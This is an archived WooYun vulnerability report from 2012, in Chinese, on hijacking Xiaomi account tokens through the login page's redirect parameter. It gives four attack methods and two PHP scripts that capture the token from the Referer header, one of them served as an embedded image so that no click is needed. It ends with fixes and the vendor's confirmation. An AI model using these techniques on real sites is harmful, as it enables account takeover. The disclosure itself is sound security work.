当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04632

漏洞标题:小米网站用户TOKEN劫持(详细)哈~

相关厂商:小米科技

漏洞作者: Ambulong

提交时间:2012-02-18 16:04

修复时间:2012-04-03 16:04

公开时间:2012-04-03 16:04

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-18: 细节已通知厂商并且等待厂商处理中
2012-02-18: 厂商已经确认,细节仅向厂商公开
2012-02-28: 细节向核心白帽子及相关领域专家公开
2012-03-09: 细节向普通白帽子公开
2012-03-19: 细节向实习白帽子公开
2012-04-03: 细节向公众公开

简要描述:


对小米网站用户的TOKEN进行劫持
对“小米电商网站认证服务第三方劫持漏洞(http://www.wooyun.org/bugs/wooyun-2010-03608)”的深度利用哈~
我没有摔坏的IPHONE,没有摔坏的HTC,但我更没有过智能手机~

详细说明:

礼物可以的话就phone哈~
自从Joey Yin爆出“小米电商网站认证服务第三方劫持漏洞”,小米就对认证页面的GOTO参数进行了域名的限制,但是治标不治本,我们仍然有办法对用户的TOKEN进行劫持。
用户认证界面:http://passport.xiaomi.com/index.php?goto=...
登录后自动在跳转后的页面添加TOKEN
下面列举了几种方法对小米网站用户TOKEN进行劫持,几乎所有的方法都离不开用户认证页面的URL跳转和TOKEN自动添加
小米社区、MIUI论坛、米聊论坛...只要用户能发文就存在这个问题
下面以小米社区为例:
方法1:
我可以先在小米社区发表一个帖子,然后添加一个链接(http://127.0.0.1/1.php),比如帖子地址为:http://bbs.xiaomi.com/thread-2635628-1-1.html
那么只要用户从http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.com/thread-2635628-1-1.html登录,就会自动跳转到http://bbs.xiaomi.com/thread-2635628-1-1.html&token=...这个帖子,如果用户点击链接就会跳转到http://127.0.0.1/1.php,那么我就可以用1.php对用户的来源进行追踪。

<?php
/*filename:1.php*/
//获取TOKEN
echo"FROM:".$_SERVER['HTTP_REFERER'];//显示FROM:http://bbs.xiaomi.com/thread-2635628-1-1.html&token=...
?>


方法2:
如果我们把1的链接换成一张图片(地址:http://127.0.0.1/img.php#1.php),用户依然从http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.com/thread-2635628-1-1.html登录,那么浏览器就会自动加载图片,我们就可以用img.php对用户进行追踪,并且不用用户点击链接就可以直接获取用户的TOKEN,这个就比方法1严重得多了

<?php
/*filename:img.php*/
$code = $_SERVER['SERVER_ADDR'];//strtoupper(substr(md5(rand()),0,5));
$img=imagecreate(1000,500);
imagecolorallocate($img,233,233,233);
$color=imagecolorallocate($img,0,0,0);
imagestring($img,4,5,5,"IP:".$_SERVER['REMOTE_ADDR'],$color);
imagestring($img,4,5,20,"HTTP_ACCEPT:".$_SERVER['HTTP_ACCEPT'],$color);
imagestring($img,4,5,35,"REMOTE_HOST:".$_SERVER['REMOTE_HOST'],$color);
imagestring($img,4,5,50,"REMOTE_PORT:".$_SERVER['REMOTE_PORT'],$color);
imagestring($img,4,5,65,"REMOTE_USER:".$_SERVER['REMOTE_USER'],$color);
imagestring($img,4,5,80,"REQUEST_URI:".$_SERVER['REQUEST_URI'],$color);
imagestring($img,4,5,95,"HTTP_REFERER:".$_SERVER['HTTP_REFERER'],$color);
imagestring($img,4,5,110,"TIME:".date('Y-m-d H:i:s'),$color);
header("content-type:image/png");
imagepng($img);
imagedestroy($img);
?>


方法3:
就是利用小米分站的跳转进行二次跳转,由于我先前准备的那个跳转可能已经先被别人报告了,下面就先捏造个哈~
如存在这么个跳转:http://www.xiaomi.com/re?url=...那么我们就可以用http://passport.xiaomi.com/index.php?appid=2&goto=http://www.xiaomi.com/re?url=...进行二次跳转,TOKEN依然可以追踪,并且可以钓鱼
方法4:
利用分站的XSS,与法3类似
由上面可以看出,这个问题不止小米网站有,各大大小小的网站也存在这个问题,关键还是要解决TOKEN和URL的问题
不然的话,小米的每个URL跳转、XSS的危害就直接上升了不少

漏洞证明:

从http://passport.xiaomi.com/index.php?appid=2&goto=http://bbs.xiaomi.com/thread-2636152-1-1.html登录就知道了
http://bbs.xiaomi.com/thread-2636152-1-1.html


修复方案:

1.解决所有XSS和URL跳转
2.对所有的外部链接进行二次跳转(就像一般的邮箱里的跳转提示一样)
3.对图片来源进行限制
4.对用户结合TOKEN,COOKIE和IP进行认证

版权声明:转载请注明来源 Ambulong@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-02-18 16:49

厂商回复:

内部处理ing, thanks

最新状态:

暂无